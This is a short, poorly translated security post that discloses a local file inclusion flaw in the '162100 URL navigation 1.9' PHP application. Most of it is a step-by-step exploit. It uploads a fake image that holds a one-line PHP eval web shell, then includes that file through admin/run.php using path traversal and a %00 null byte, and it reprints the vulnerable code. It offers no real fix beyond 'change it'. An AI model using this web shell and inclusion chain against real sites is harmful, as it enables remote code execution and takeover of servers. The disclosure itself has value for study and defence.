162100 URL navigation 1.9 local File Inclusion Vulnerability and repair

Program-breaking vulnerabilities, but to encourage everyone to learn, they are still released... Reject malicious destruction!

Official program:Http://download.162100.com

The code for the run. php file in the admin directory is as follows: I found the upload directory.

Editor/index.html

Use the upload image function to upload a 1.jpg file as <? Php eval ($ _ POST [cmd])?>

Obtain the address editor/images/upload/2010102718265325.jpg.

Then admin/run. php? Run =.../editor/images/upload/2010102718265325.jpg% 00

Is a sentence... You know the rest...

1

<?php

2	if($_REQUEST[run] && file_exists(./run/.$_REQUEST[run]..php))

3	require_once(./run/.$_REQUEST[run]..php); // It is determined that the object can be included as long as it exists, without any restrictions, and can be redirected to a directory. Therefore, as long as the object can be uploaded and then truncated at % 00, the object can be uploaded.

4

else

5	alert(Command error or function not activated!,./index.html);

6

?>

 

Let's just send a phpinfo example...

Yi! Although the program is broken. However, penetration is inevitable... I hope you can share some program vulnerabilities that you have no intention to exploit during the daily website. Learn together. It also saves more time.

This program also has other vulnerabilities such as Cookie spoofing... But it doesn't make much sense... Enough

Tools Lu Yu

Fix:

There is no need to fix this program. Change it.